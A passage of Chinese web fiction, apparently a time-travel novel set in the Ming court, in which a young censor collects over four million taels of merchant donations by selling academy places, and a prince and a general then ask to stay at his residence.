调查得悉的资料上说了陛下信赖朱御史,这朱御史成了最近几日以来陛下跟前的红人,可....秦王殿下是怎么回事?凉国公是怎么回事? 这凉国公,不是据说和朱御史势同水火吗? 殿试当日发生的事花一些代价有心去调查的话知道并不难,毕竟老朱也没有下封口令什么的,所以大家基本都知晓,怎么个情况,这朱御史不是想要致凉国公于死地吗?这凉国公怎么又和朱御史站一起去了? 难不成是陛下统筹调配? 可如此一来,那这岂不是更证明了朱御史在陛下这边的受宠程度? 凉国公都低头了!这简直不得了啊! 而果然,在商贾们听到胡老三说去朱煐府中见到朱樉、蓝玉、朱允熥等人后,心中泛着疑惑的档口,胡老三三言两语就将朱煐主持重开稷下学宫,朱樉为学宫副祭酒,蓝玉为学宫博士之事,还有蓝玉送礼一万两之事说了个清楚。 其他商贾听着胡老三说着这些,宛若在听天书一般..... “老胡,你说这秦王殿下是学宫副祭酒?” “是啊,秦王是学宫副祭酒,哦,还有晋王殿下,过不久晋王该入京了,秦王好像给晋王也讨要了个副祭酒之位,凉国公是学宫博士,朱御史说是让他教授行军之道,朱御史看来是有心将这稷下学宫重复古时学通百家之所长啊。” “或许也正因如此,才允许我等商贾子弟入内学习。” 胡老三说着一边咂舌称赞道:“了不起,朱御史当真是了不起啊!” “不是老胡,这秦王和晋王只能当副祭酒?那这祭酒是何人?朱御史难不成敢压秦王和晋王一头,就算是有陛下撑腰,这两位也该有意见吧?” 有商贾开口。 胡老三扫了开口之人一眼:“这祭酒之位就得是朱御史吗?你们就不会动脑子想想?既然是秦王殿下和晋王殿下当这学宫副祭酒,那这祭酒还能是谁?还有谁?” “这.....” 听着胡老三几乎明示的提示,周遭的商贾不约而同地在脑海里不由浮现出了一个念头,可这个念头过于骇人,大家压根就不敢相信.... 良久后才有人喃喃低语了一句:“这稷下学宫祭酒....不会是陛下吧?” 此言一出,全场寂然! 所有商贾此刻都没了动静,一个个瞪大眼睛面面相觑,而后又将目光不由自主地投向了胡老三...... 胡老三微微一笑,点了点头:“不错,正是陛下!” 说着胡老三默默地掏出了一张圣旨。 他等着这一刻可等了许久了,先前一直都只是在铺垫罢了。 胡老三的一生也算得上是波澜壮阔,要说在寻常人面前卖弄,他也没有兴致,他早就过了在人前卖弄获得成就感的时期了,可眼前的这些家伙可不同啊! 这些家伙每一个都是大明商贾中数得上名号的家伙,人前显贵,那也得分在什么人面前显贵。 胡老三得意地把老朱赐下的圣旨,即他大儿子胡德禄的‘入学通知书’从怀里给掏了出来..... 而当胡老三掏出圣旨的那一刻,瞬间,所有商贾的目光全都被他掏出来的这一卷圣旨给吸引,不少商贾豁然起身,纷纷向着胡老三聚拢。 “胡....胡老板,这是....?” 有商贾瞪大了眼睛,凑到胡老三身前。 胡老三不语,只是轻笑,然后将手中的圣旨缓缓打开....... “我不多说。你们且先自己看看。” 随着圣旨缓缓打开,圣旨上的内容也跃然浮现在了众人的眼前..... 当看到圣旨中所书写的内容的时候,所有商贾的脑海里不约而同地出现了同一个念头——这圣旨....特么的不会是假的吧? 可这个念头不过是闪了一瞬就直接被大家给否了。 但凡是有脑子的都知道,这伪造圣旨可是死罪,甚至可能夷三族!这胡老三吃了熊心豹子胆伪造了圣旨还敢这么大庭广众地拿出来?就为了在大家面前装个比? 显然这不可能。 既然如此,那么.....这圣旨是真的? 见自己的圣旨成功镇住了一众商贾,胡老三笑了..... 这正是他想要得到的效果!看着其他大商贾脸上那吃惊的表情,胡老三的心里爽得无法言语! 见大家还没有缓过神来,胡老三这才缓缓道:“不瞒大家,我老胡这也是托了朱御史的福,今日侥幸,入宫见了陛下,受到了陛下的私下接见。” “什....什么?” “入宫见了陛下?还是陛下私下接见?” “老胡,你这....” 一个商贾,居然受到了老朱的私下接见?这给周围商贾的冲击非常大! 看着众人吃惊的表情,胡老三心中更爽了:“要不你们以为我这圣旨是哪里来的?这可是陛下御笔写好,亲自盖上私章,交到我手里的!你以为?” 胡老三当即将如何入的宫,如何见的老朱,见老朱时如何镇定自若,如何泰然处之,老朱如何威严,种种悉数叙述的栩栩如生。 听得周遭商贾脸色涨红。 “也是我老胡果断,三十万两,给我儿捐出了个大好前程。” “要我说,这外头也就是以讹传讹,陛下对我等商贾还是很有好感的,不必过于畏惧。” “我反正是已经决定了,让我儿德禄好好努力,我这当老子的就多赚点钱,让老二做买卖,老大就好好当个正经的读书人,日后我老胡家也算是改运了。” 胡老三得意地炫耀着,而之所以如此,一方面是满足自己装逼的精神需求,而另一方面,自然也是胡老三察言观色。 作为从底层摸爬滚打上来的,胡老三察言观色的本事自然是不弱,从朱煐几人的言谈中,他敏锐地意识到了这几位的需求,一方面重开稷下学宫是真事儿,但同时,湖广遭灾,要筹集钱粮也是真事儿,而且这事儿就落在朱煐的身上。 胡老三这一手便是顺水推舟,在商贾圈中宣传宣传,也好筹集粮款。 既然好不容易搭上了朱煐这条线,胡老三自然是准备好好巩固..... 而随着胡老三的这一波炫耀似的宣传,周围的商贾各个心中都已经有了意动..... 在场的都是赫赫有名的大商贾,买卖做的都不小,身价比之胡老三一般雄厚的也有不少,胡老三今天的收获简直完全出乎了众人的预料,简直赚麻了! 三十万两,多吗?很多! 但要说让自家子嗣进入稷下学宫,甚至有机会让整个家族脱离商贾的身份,进行进一步清洗.....用三十万两买这么个机会,很值得! “老胡,这....我也想让我家那崽子入稷下学宫,你可否和朱御史去说说,行个方便?” “嘿!老张,你这可不地道,这话说的好像谁家没个孩子似的!” “......” 一时间,商贾在竞争中出现了争吵。 胡老三当即将十个名额的事情给说了出来,而一说出来之后,竞争的意味就更浓了..... 有人还在争吵,而聪明的商贾已经默默地选择离开,说一千道一万,不如直接拿钱说话.... 今夜,注定不眠.... ..... 接下来的几日,应天府表面上看似平静,可暗地里却是十分汹涌,不少人都在典当变卖房契地契商铺..... 数日之后.... 朱煐府中。 朱樉、蓝玉、张平、方孝孺、朱允熥,此刻正围着偌大院子里堆积如山的一个个大箱子,震撼不已! 疯狂!太疯狂了! 胡老三弓着身子满脸笑意.... “诸位大人,这是小人的一些好友拜托小人捎来的捐给湖广百姓的赈灾钱粮,总计折合银两约四百二十七万两,有的商铺,地契房契时间太短尚未来得及出售.....” 第77章 四百二十七万两! “多....多少?” 朱樉瞪大了眼睛看着眼前的胡老三,他不敢相信自己耳朵所听到的数字..... 四百多万两? 这特么的是人? 整个大明去年的税收折合白银也才区区两千万两啊!这几天的功夫,直接就凑出来了四百多万两? 朱樉是大明的秦王,他所知道的信息远比寻常人知道的更多,就比如这朝中的税赋,比如这朝廷一年的开销,而同时,他还有着自己的封地,封地约等于一个独立运行的系统,他更明白这个数字的含金量! 也正是因为朱樉明白这四百多万两意味着什么,所以此刻的他才会如此的震惊!感觉到不可思议! 因为这事儿,他本身就是离谱到家了! “启禀王爷,是四百二十七万两,或许上下有些浮动,毕竟这地契商铺什么的不好进行准确的估价,不过王爷可以放心,这里面绝对没有任何的水分,小人给这些商铺房契地契估价都是按照市场价格偏低一些估的。” 胡老三满脸是笑,看着此刻震惊的朱樉,心中也是暗爽。 咱商贾是贱籍怎么了? 要说钱,咱商贾有的是钱,哪怕你是王爷,也没有咱商贾有钱! 是的,在大明眼下的经济制度下,商贾的社会地位虽然不高,但所谓一饮一啄皆有定数,这地位不高所对应的就是真正的大商贾,富可敌国! 为什么会出现这种现象? 显而易见,因为商贾的社会地位不高,所以去从商的人并不算多,这就意味着,竞争对手不多,从商的竞争对手虽然不多,但大明这整整几千万的人口是固定存在的,这是既定事实,这也就意味着市场是一直存在的,蛋糕是一直存在的! 市场在,蛋糕在,也就意味着利润一直在,商贾少,从商的人少,也就意味着这分利润,分蛋糕的人少,如此一来就从另一个角度变相得形成了一种垄断的格局,一旦你把买卖做到一定程度,那你就是做的垄断生意,或者区域性垄断!这片区域之内一定没有你的竞争对手! 因为你的竞争对手,要么就是高阶级人,这些人不会和你抢生意,一般会是从你的生意里分润出一部分的利润收一些保护费。 这要是换在别的朝代,这保护费可就要了命了,毕竟商贾作为社会地位低下的代表,却又是身怀巨资,这也就成了那些上层人物眼里的肥羊,换成任何一个朝代,商贾想要不付出一点代价就安稳的做这种类似垄断的生意那都不可能...... 但偏偏,这是在洪武朝啊! 洪武朝有什么特色? 洪武朝的特色就是老朱的意志,对于贪官深恶痛绝的老朱更是想出了剥皮填草的酷刑,这样的酷刑下,虽然不能绝对的禁止贪污受贿的风气,但也能绝大程度地对这种风气进行很大程度的威慑。 对官员们的威慑效果是巨大的! 亦或者说,对于顶层,对于身处中央的官员的威慑是巨大的! 所以哪怕知道肥羊就在面前,知道商贾有钱且自己有权力能够压榨出商贾的油水,也没有很多人敢铤而走险。 这也就形成了一种极为特殊的情况...... 一般而言,社会的生产价值都是由社会上层的人所掌控,资源都是由上层人所垄断,这做的垄断的买卖,社会地位不够高根本不可能。 可由于老朱对于贪官的举措,以至于洪武朝真正的上层人物哪怕他们的亲属都不敢轻举妄动,不敢贸然行动,于是也就造成了,他们明明掌握着权力,但却和商贾进行了一场酣畅淋漓的公平竞争! 本身权力才是他们的长处,靠着权力进行力压,这才是他们所擅长的领域,可现在这个法子不敢用,和最会做生意的商贾公平地拼做生意,做买卖,这不是变相地以己之短攻彼之长吗? 这种本就不平等的竞争下,上层权贵根本就不是商贾的对手,因为他们受到了老朱的严重制约! 而除此之外,还有另一个重要原因,也是洪武朝的特色。 朝中对于商贾颇为轻视,或者说根本就不在意,对于商税更是压根提都不提,目前大明的税银还是靠着普通的农户上缴的农业税撑起来的,商人的税收几乎可以忽略不计。 而这也就导致了,原本大商贾就已经在事实上进行了局部区域的产业垄断,但偏偏朝廷方面却连税收都不收。 在后世,商业税有多重? 可以说,但凡是达到胡老三这个级别的商贾,你不上缴个三分之一或者一半,那就是绝对的偷税漏税了,而在大明,在这洪武朝,这些钱压根本身就不需要交,这钱就是胡老三的合法所得! 这意味着什么? 这意味着的不光光是胡老三的资产翻倍这么简单! 但凡是做过生意的应该都知道一个词,叫做净利润! 什么叫做净利润?就是顾名思义,纯净的利润,流水扣除所有成本,剩下真正自己赚到手的钱叫做净利润! 很多企业,营业收入很高,也就是流水很高,但同时运转的成本也很高,这也就导致了钱一直在转,却根本赚不到钱留到自己的手上!这就是净利润低的表现。 而做买卖有哪一些成本? 所有花掉的钱那都要计算到成本里面,物流是成本,购买原材料也是成本,人工,店铺全都是成本,而在后世,大企业还有一个大头成本那就是税收! 你要在缴纳百分之三十甚至百分之四五十的税收之后,剩下的钱你再扣除人力物力,最后剩余下来的才是你的净利润! 做小买卖的或许还感觉不到什么,因为一般官方睁一只眼闭一只眼,不会特意去收税,但做到大企业就不一样了,而大明商业税几乎可以忽略不计所造成的影响就是,商贾做买卖更好做了! 设想一下,原本一个买卖你的成本刚好是一半,每一百两银子的流水,有五十两银子是成本,要是在这个时候,按照你的流水给你收个一半的商业税,那就等于这买卖不赚钱!因为税收就要收走剩下的五十两银子! 那要是不收呢?那也就是这个买卖你的净利润是一百两银子的流水创造五十两银子的净利润,这就是一桩可以持续复制的,持续经营的买卖! 所以这就是为什么说洪武朝这个特殊的商业税对胡老三这些大商贾产生的印象远远不是资产翻倍这么简单的原因,因为很多原本按照正常税收收的话根本就没有利润,做不了的生意,在当前洪武朝,不光能做,而且还有不俗的利润率,有不低的利润! 所以说,这大明的商贾,兜里是真有钱! 只是华夏的朴实教育观告诉所有人,财不露白,尤其是从底层摸爬滚打上来,见多了尔虞我诈,见惯了人性的商贾,对他们而言,做买卖需要展露一部分的实力,这样方便和其他人合作,有助于谈成生意,可另一方面却又不能露富太多,否则以商贾的社会地位,难保不会碰上一大堆敲竹杠的,甚至是遇到生命危险! 大商贾家里的钱,多到哪怕是老朱都会眼红的地步! 要知道,几年前同样是灾情,老朱抄家了一个领头的商贾,从那商贾的家里面抄出来了足以赈灾的钱粮!整整一百多万两啊! 一百多万两这是什么概念? 整个大明的税收也不过是一年区区两千万两,这一百万两,就等于整个大明百姓缴纳税赋的二十分之一!而这,只是大明一个商贾的身价! 真真正正的富可敌国! 毫不夸张! 所以商贾大都低调,尤其是大商贾,更是低调! 而这一回,大家是看到了一个希望,入稷下学宫,完成整个家族翻身的希望! 可以说,要不是这个诱惑过于巨大,还有胡老三这个千金买马骨的示范效应在,想要让这些商贾放心地掏钱出来,根本不可能! 但要说这些钱,这些商贾能掏出来吗? 那指定是能的。因为现在,此刻,这些钱就赤裸裸地摆在了朱煐等人的面前...... 朱樉看着眼前堆积如山的大箱子,看着箱子里那满满当当的金银珠宝以及房契地契,整个人只觉得大脑一片空白。即便他是大明的秦王,即便他并非没有见过世面的井底之蛙,可在面对这眼前的整整四百二十七万两的对湖广百姓的捐款的时候,也是感觉喉咙发干,狂咽口水..... 离谱! 简直太离谱了! 这不是四百两,这特么的是四百多万两啊! 就这么被拿出来了? 而且先前的时候胡老三已经拿出了整整三十六万两!现在其他商贾拿出来的这四百二十七万两可不包括之前的三十六万两! 换而言之,这短短几天的功夫,这京城的商贾总共掏出来了整整四百六十余万两银子! 而更关键的一点是,这些钱,不是抄家抄出来的,是这些商贾自愿捐出来的! 这...... 朱樉不由得看向了朱煐,这会儿他的心中心绪十分复杂。 原先朱煐在先前当朝接下任务,说是要从商贾手中拿到足够湖广赈灾的钱粮的时候他的心里和所有的大臣们一样,都是觉得这次朱煐托大了,对于商贾的印象朱樉的印象和其他人的印象都是一样的,这是整个社会背景所导致的,并非是他们眼光的局限,而是商贾们所表现出来的情况就是如此,朱煐若非是见过后世商贾的出手的阔绰大胆,要不是看过几天的资本论,朱煐也根本想象不到商贾的力量会有这么大! 要知道,在后世,商贾的力量,几乎掌控了整个世界! 除了华夏之外,其他所有的国家几乎全都是资本主义国家!这就是商贾的力量! 追名逐利,人之本性,以名利诱之,谁能抵抗? ....... 朱煐也感受到了朱樉的目光。 不过朱煐倒是没有太过的震惊,只是有些咂舌。 他早就知道大明的商贾有钱,只是没想到这洪武朝商贾就已经这么有钱了,这次总共弄到了这整整四百多万两银子,不光是出乎了朱樉的预料,也是大大出乎了朱煐的预料..... 原本他想着的是这些商贾多少也能凑出个百万两银子,十个入稷下学宫的名额,一个名额卖十万两,这就很合理,只是没想到这其中出现了变故,这其中的变故就是胡老三...... 胡老三出手的阔绰远远超出了朱煐的预计,这丫的就等于说是主动多掏了整整十几万两银子,而胡老三对于这件事情的宣传作用也是造成眼下这四百多万两摆在眼前的重要原因。 胡老三在大商贾之中本来就有些名望,而在他的炫耀之后,不少和他交好,或者说了解胡老三的商贾,心中都是心痒难耐,尤其是胡老三当众掏出的那一张圣旨,简直就是王炸!直接让所有商贾都眼红了! 商贾之间剧烈竞价导致了每一个名额的价格都节节攀升,这还是现在时间短,有不少商贾暂且筹集不到那么多的银子,有些地方远的大商贾尚且没有赶到京城,这要是拖上个十天半个月的话,这名额的价格还能出现大幅度的飞跃! 不过无论是胡老三还是其他商贾,都不想拖这个时间,其他商贾不想拖这个时间自然是因为不想平添竞争对手,想要尽快敲定这令天下商贾都觊觎的名额,而胡老三不想拖时间,主要是担心朱煐这方面的的想法。 现在胡老三已经自动站在了朱煐的阵营为朱煐,为稷下学宫考虑,好不容易搭上了这条线,胡老三可不想因为任何原因导致自己的这靠山的对自己有什么看法..... 哦,不是靠山,是靠山们.... 毕竟这稷下学宫不是朱煐一人的,还是陛下的,还是秦王,晋王,凉国公的,自己的靠山可不是一人,是一群人啊! ....... 一旁,蓝玉瞪大了眼睛看着这四百余万两银子。 凉国公府一直以来在朝堂中以富裕闻名,毕竟以蓝玉的战功,老朱的赏赐,凉国公府的财富绝对是在朝野之中也算得上是首屈一指的。 蓝玉也算是见过世面的人,跟着老朱打天下,什么场面没见过? 可现在,面对眼前的这四百多万两银子,蓝玉懵逼了..... 这些钱,要说是户部拿出来的,那正常,这要是陛下私库里掏出来的,虽然说有些惊讶,却也还说的过去,可他么的,这些钱是从那些个商贾的手里掏出来的啊! 而且这还是这些商贾主动强者捐赠的!这特么的就....离谱! 这世界到底是怎么了? ...... 蓝玉怀疑人生的同时。 一旁的张平看着这堆积如山的胡老三送来的整整四百余万两商贾捐款,眼睛里闪烁着精芒! 这些钱可全都是老大一手操办弄到的!从商贾手里弄到的! 张平看向朱煐的眼睛里满是崇拜。 张平早就已经被朱煐的人品给征服了,对于朱煐的崇拜是发自内心的,而现在,逐渐的,张平又发现,自家老大的本事居然也同样不同于常人! 这大家全都不看好,甚至自己都怀疑的法子,居然还真被老大给办成了!真让老大从商贾的手里掏出了这么多银钱? 这些银钱别说事给湖广赈灾了,就算是加上稷下学宫的修建都绰绰有余! 该死! 张志远啊张志远,先前你居然怀疑老大? 想到先前在朝堂上的时候自己居然还担心不能从商贾手里弄到银钱,甚至自己还委婉劝说过,张平就感觉有种罪恶感。 自己居然怀疑老大的能力! 张平心中暗暗告诫自己,日后再遇上类似的情况,一定是要毫无疑问地支持老大! 老大是那种无的放矢,心里没有数的人吗? 显然不是! 他既然提出来了说要从商贾的手里弄到湖广赈灾的钱粮,那必然就有着他自己的打算,他自己的计划,一定就能做到! 而现在,显然他做到了! 回头看,张平发现自己先前的担忧是何等的可笑。 自己能力不够,看不到老大高瞻远瞩的计划,张志远啊张志远,你还得好好向老大学习,还得好好磨炼自己才是啊...... ...... “四百多万两吗?倒是不少了。” 朱煐看着这些钱点了点头:“这样。今日天色不早,就先不入宫了,胡老板你要不也先在我这儿对付一宿,等明日一早,随我一同入朝如何?” 朱煐看向胡老三说道。 胡老三闻言,整个人都是不由自主地打了个哆嗦,旋即心中就是狂喜! 朱御史邀请我! 朱御史亲自邀请我! 这意味着什么? 这意味着我老胡在朱御史心中的地位又进一步地提升了啊! 更何况朱御史还留我老胡在府中住宿..... 不过很快,胡老三的心里又不由得开始有些纠结了起来..... 他心思细腻,从内心深处胡老三自然是想要留在这府中过夜的,这无疑是一个很好的机会,和自己靠山拉近关系的好机会!可这话又说回来了....虽然说朱御史是邀请了,可倘若自己真的恬不知耻地留下,会不会给朱御史留下一个没有分寸的印象? 可要是拒绝.....是不是会给朱御史留下一个不识好歹的印象? 一时间,胡老三陷入了两难的境地。 对于胡老三的想法朱煐是半点不知,作为上位者,一言一行,一举一动都会被人解读,被人揣摩,而这会儿的朱煐万万想不到,自己还只是个小小御史,就已经享受到了如此殊荣..... “胡老板可是还有事要忙?要是不方便的话也无妨。” 朱煐见胡老三犹豫,再度开口.... 而这会儿的胡老三听到这话,瞬间做出了决定,当即一咬牙拱手对朱煐道:“朱御史盛情相邀,我胡老三要是不答应那便显得我老胡不识好歹了,正好此地离宫中近,明日随朱御史一同上朝也是胡某的荣幸,那今晚....胡某便叨扰了。” 说着这番话的胡老三心脏噗通噗通直跳,只感觉心跳一阵加速..... 一边说着这番话,一边胡老三时刻观察着朱煐的表情,一旦发现有什么不对的情况,他瞬间就会改口。 好在朱煐的表情一直没有出现什么变化,这反倒是让胡老三大大地松了口气,而同时,胡老三心中不由大喜! 当真住下了? 嘶! 第78章 秦王好学 “朱御史,不知本王今夜可否有幸与朱御史秉烛夜谈?” 月色如水,洒在朱府的青石板上,映出一道修长的身影。朱樉站在庭院中,目光灼灼地望着面前的朱御史,语气中带着几分难得的诚恳。夜风轻拂,吹动他腰间玉佩,发出清脆的声响,在这寂静的夜里显得格外清晰。 “说实话,本王很想同朱御史学习学习,父皇对本王寄予厚望,奈何本王的实力有些不济,本事有些辜负了父皇的期望,还请朱御史教我,也好让本王提升提升。” 朱樉是个直肠子,说话也不怎么会拐弯,想到什么便说什么了。他这番话说的很是直白,甚至带着几分自贬的意味。作为一名王爷,能如此放下身段,实属难得。而他这番话落入一旁胡老三的耳朵里却又是不同的一番意味..... 胡老三站在廊下阴影处,闻言不由得屏住了呼吸,一双精明的眼睛在夜色中闪烁着惊疑不定的光芒。他下意识地搓了搓手指,脑海中已是翻江倒海。 朱樉是谁? 这位可是大明的秦王! 大明开国第一任秦王! 陛下亲子,堂堂王爷,眼下太子去世,倘若不是陛下有意立皇孙为储的话,这位秦王殿下甚至有机会争夺那九五之尊之位! 这样的人物,对朱御史的态度如此谦卑,甚至言语之间还有些谄媚,请求的意味....这简直令人难以置信!胡老三只觉得心跳加速,血液沸腾。啧啧啧....咱老胡的眼光可真是好的很呐!这选的靠山都是如此的出众! 而朱樉的态度和表现让胡老三更进一步的坚定了自己的想法。他原本只是猜测,现在几乎可以断定,这位朱御史绝非等闲之辈。 原先他便觉着朱煐是老朱特意想要留给下一任皇帝的优秀人才,同时也是老朱特意培养的心腹爱臣,现在他更坚定了自己的想法,就连朱樉身为秦王都如此礼遇,这其中说明了什么.....不言而喻..... 秦王比自己可厉害多了,人家的消息渠道,人家知道的东西,那不比自己多得多?人家对待朱御史都是这般态度,由此可见,自己的推断是没有错的,甚至有可能还过于保守了! 胡老三的眼睛里发光!那是一种发现宝藏的光芒,是一种押对宝的兴奋。他在商海沉浮多年,深知机遇稍纵即逝的道理,眼前这一幕,让他更加确信自己做出了正确的选择。 商贾并非是不想要找人当靠山,而是一来对方看不上商贾,二来商贾也担心出现卸磨杀驴的情况下发生。自古以来,士农工商,商为末流,即便家财万贯,在权贵眼中也不过是待宰的肥羊。 双方都有顾虑以至于商贾一般不会和官场上的人有太多的纠缠,而得益于老朱对贪官污吏的严酷手段,官员们大多数也不敢去敲商贾的竹杠,毕竟这钱虽然好,但也得有命花才行啊! 而且这和有命花没命花已经不完全挂钩了,就老朱那剥皮填草的手段,简直比死还可怕!一想到那些被剥下来的人皮,填充草料后摆在衙门口示众的场景,任是再贪心的官员也要掂量掂量。 最让人害怕的不是死亡,而是等待死亡前遭受的非人的虐待的折磨!那种求生不得求死不能的绝望,足以让任何人望而却步。 胡老三的眼眸里精芒攒动,他没有说话,只是静静地看着场中的朱樉和朱煐.....目光下意识的落到了朱煐的身上.....这个年轻人究竟有何等魅力,能让秦王如此折节下交? 朱樉也不由看向了朱煐..... 他想要留宿,最终还是要朱煐这个当家人点头才是。虽然贵为王爷,但此刻他表现得如同一个普通的访客,遵循着主人家该有的礼仪。 要说之前朱煐在朱樉眼里是老爹的心腹,一切的尊重都是因为老朱,交好也是为了试探老朱的态度的话,现在朱樉对于朱煐的看法和态度就已然有了一百八十度的大转变! 朱煐的能力已然得到了朱樉的认可,甚至朱樉内心深处早已经是惊为天人!这几日他冷眼旁观,看着朱煐如何运筹帷幄,如何将那些精明的商贾收拾得服服帖帖,又如何巧妙地完成了父皇交代的筹款任务,这一切都让他对这个年轻的御史刮目相看。 果然,父皇的眼光就是比咱长远啊!朱樉不禁在心中感叹。他自幼就被父皇批评不长进,如今看来,父皇识人的本事确实非凡。 父皇一眼就看出了朱御史是个有能耐的人,不过哪怕是父皇,恐怕也是没有想到朱御史会有这般能耐吧?朱樉甚至觉得,朱煐的才能可能超出了父皇最初的预期。 朱樉眼眸中闪烁着光芒,目光视线落在朱煐身上....那是一种混合着敬佩、好奇和些许嫉妒的复杂目光。 朱煐微微一笑。月光洒在他清秀的面庞上,映出一派云淡风轻的气度。这房子是老朱赏赐的,原本是皇家产业,老朱赏赐的东西自然不是凡品,这占地面积虽然说不算是非常非常大,可这客房也有个十几间,足够客人留宿了,甚至还有三个交错纵横的别院,朱樉要留宿,朱煐自然是没有理由拒绝。 倒不是因为朱樉是王爷,单纯只是因为这货拉仇恨啊!朱煐在心里暗笑。但凡是大明的人都知道,秦王朱樉和燕王朱棣不对付,从小就不对付,两人属于是互相看不顺眼的情况,朱樉眼下更是将朱棣视作眼中钉肉中刺。 在朱樉看来,朱老四就是脑后生反骨,而自己眼下的身份是什么?是父皇钦点的大明未来贤王,是未来朝廷的中流砥柱,是大明柱石,那不得未雨绸缪将朱老四这种造反份子给扼杀在摇篮里? 朱樉和朱棣可以说是天生的对头,按照这种关系的话,自己不需要做太多,只需要和朱樉多多亲近,天然的就能拉起朱老四的仇恨,到时候岂不是寻思有望?朱煐越想越觉得这个主意妙不可言。 朱煐觉着眼下自己对于朱棣的针对还是不太够,或许被旁人一劝再加上朱棣当上皇帝之后想要注意自己的形象,或许就把自己给放过了.....这可不成!他必须加大力度,确保朱棣对他恨之入骨。 一方面是朱樉这边需要加把力气让朱老四对自己看的更不顺眼些,同时再留有老方这张底牌。朱煐的目光不经意间扫过站在一旁的方孝孺,嘴角勾起一抹意味深长的笑容。 通过历史,已然验证了老方的战斗力。纵观历史,被诛十族的,也只有方孝孺一人。而他正是死在朱棣的手上!这意味着什么?这意味着老方他掌握了朱棣的正确使用说明书啊! 有这么一张底牌在,拉朱老四的仇恨就容易多了.....朱煐几乎可以想象到,当方孝孺那张铁嘴对上朱棣时的精彩场面。 朱煐看向方孝孺:“老方,秦王殿下要留宿,你以为如何?” 朱煐话音落下,方孝孺却是一脸懵逼.....这是你家,你问我作甚?他下意识地想要这么回答,但话到嘴边又咽了回去。 不过转念一想,方孝孺莫名其妙的同时有不由得眉头一挑。他想明白了!这是朱御史拿自己当家人了啊!家中留宿,不得问问自己这半个家人的意见吗?这几日以来方孝孺一直同朱煐张平厮混,三人经常秉烛夜谈,当然,主要是张平和方孝孺谈,朱煐就是打酱油的,他也没有那么功夫和两人掰扯,不过这举动在方孝孺和张平看来就是当老大的风范了。 两人谈论的内容太过低级,无法引起老大这般能干实事人的兴趣!方孝孺甚至觉得,朱煐之所以不愿意参与他们的讨论,是因为他们的见解太过浅薄,入不了朱煐的法眼。 这几日以来,两人谈论的主要内容就是胡老三的那三十六万两,谈论着自己对于商贾的看法,以及自己的治国之策。方孝孺是个理想化的人,他刚正不阿但看待问题却十分理想化,而刚好,张平也是个理想化的人,他刚入朝堂,作为朝堂上的新人,张平满腔热血,两人碰上就像是干柴烈火,轰然化成烈焰,熊熊燃烧! 而朱煐之所以在一旁打酱油的原因就是,两人所说的治国之策,压根就没有多少有可行性的,就是仅限于纸上谈兵。很多时候,朱煐听着他们的讨论,都忍不住想要插话指出其中的谬误,但为了维持自己“不求生”的人设,又不得不忍住。 不过说来也正常,无论是张平还是方孝孺,虽然两人的爱国思想是可以肯定的,但同时,两人对于国家治理的经验上却都是极度缺乏,根本就不可能提出多少有建设性的意见。在朱煐看来,两人提出来的建议拿就是错漏百出,放到朝堂上,基本就是被老朱无视的那种。 显然,两人还有很大的成长空间.....毕竟不是人人都像朱煐一样,站在后世无数巨人的肩膀上看待问题,方孝孺和张平的表现才是符合一个没有久经政务之人的一个正常表现。 要不怎么老朱惊叹朱煐的天赋呢,毕竟没有经过实操却偏偏能一次次提出最为有效有用的见解和意见,这除了天赋之外,还有什么能够用来解释? 长时间的留宿让方孝孺和张平、朱煐之间的关系异常亲近,几乎就已经是穿上了同一条裤子。方孝孺和张平自不用多说,两人那是真正的一见如故,两人的价值观趋于相同,有说不完的共同话题,而方孝孺和朱煐,关系亲近的根本原因还是在于老方的战绩。 能在朱棣手下完成被诛十族的壮举,这样的战绩,简直就是馋的朱煐流口水啊!有这么一手底牌在,得好好维护着。朱煐甚至暗中决定,一定要保护好方孝孺,确保他在关键时刻能够发挥出最大的“作用”。 穿越这么久了,朱煐已经深刻认清了现实,认清到了这求死之难,想要在老朱手上完成任务估计是没什么指望了,朱允炆登基之后在位时间又太短,再加上最近朱允炆这小崽子对自己的态度很微妙,莫名其妙地转变了态度...... 朱允炆的态度转变让朱煐很没有安全感......他总觉得这个看似温和的皇孙背后在谋划着什么,这种不确定性让他很是焦虑。 所以朱棣这条线就显得尤为重要了,老方是对付朱老四最大的底牌之一,可不得好好把握?朱煐打定主意,一定要将方孝孺这张牌留到最关键的时刻。 ...... 这几天以来的近距离接触让方孝孺产生了错觉,只觉着是和朱煐志趣相投,再加上他心中佩服朱煐的刚正不屈,这等无惧无畏是哪怕自己都无法做到的,正是因为自己无法做到,所以才让人敬佩! 这也就有了在朱煐开口之后,方孝孺想岔了的情况.....想通之后,方孝孺看了眼朱樉,笑道:“正好秦王殿下日后是稷下学宫副祭酒,日后我们便是一条船上的人,留宿自然是应该的,正好也多多联络联络感情嘛!” “不瞒王爷,我同志远老弟已经在朱御史家中留宿了许久,倒是也不怕丢人。”方孝孺说着,还朝张平那边使了个眼色,张平立即会意地点头附和。 “哈哈哈哈,既如此,那本王就叨扰了,正好这儿离宫中近,明日一早我等一同入朝就是。”朱樉大笑道。他原本还担心朱煐会拒绝,没想到这么顺利就得到了留宿的许可,心情顿时大好。 “既然你们都留下了,那我....也留下?”就在此时,忽然蓝玉的声音夹杂在众人中响起.... 瞬间所有人的目光全都齐刷刷地落到了蓝玉的身上.....这位一向以桀骜不驯著称的凉国公,竟然也会主动要求留宿?这简直比太阳打西边出来还要稀奇。 蓝玉被大家这么齐齐注视,还真有些不习惯,他粗犷的脸上浮现出一丝罕见的窘迫。忽然眼角的余光瞥见了一直在角落不曾开口说话的朱允熥,当即大笑:“哈哈哈哈哈,我这不是想我的允熥了么。来,允熥,和舅姥爷说说,最近还怕朱允炆那小子不?” “陛下让你跟着朱御史学学朱御史的性子,这些日子想必也是学了不少吧?你看看人朱御史,朱允炆那小崽子敢在朱御史面前蹬鼻子上脸?” “这人善被人欺,你不怕人,人自然怕你,你看看这些日子过来,朱允炆那小子是不是就安分多了?他还敢在朱御史面前五马长枪的吗?”蓝玉说着走到朱允熥面前大笑着拍了拍朱允熥的肩头。 朱允熥和先前相比倒是有了不小的变化。短短几天的功夫,朱煐对于朱允熥的影响是十分巨大的。原本那个畏畏缩缩、说话都不敢大声的皇孙,此刻虽然仍然显得有些腼腆,但眉宇间已经多了几分坚毅的神色。 朱允熥原本是想主动跟着朱煐学习学习朱煐身上的那一股子无惧无畏的勇气的,可当他真正入住了朱煐的府中之后,他发现,好像自己压根都不用学,这和朱煐相处的时间久了,自然而然地心里面的想法就出现了一些微妙的变化...... 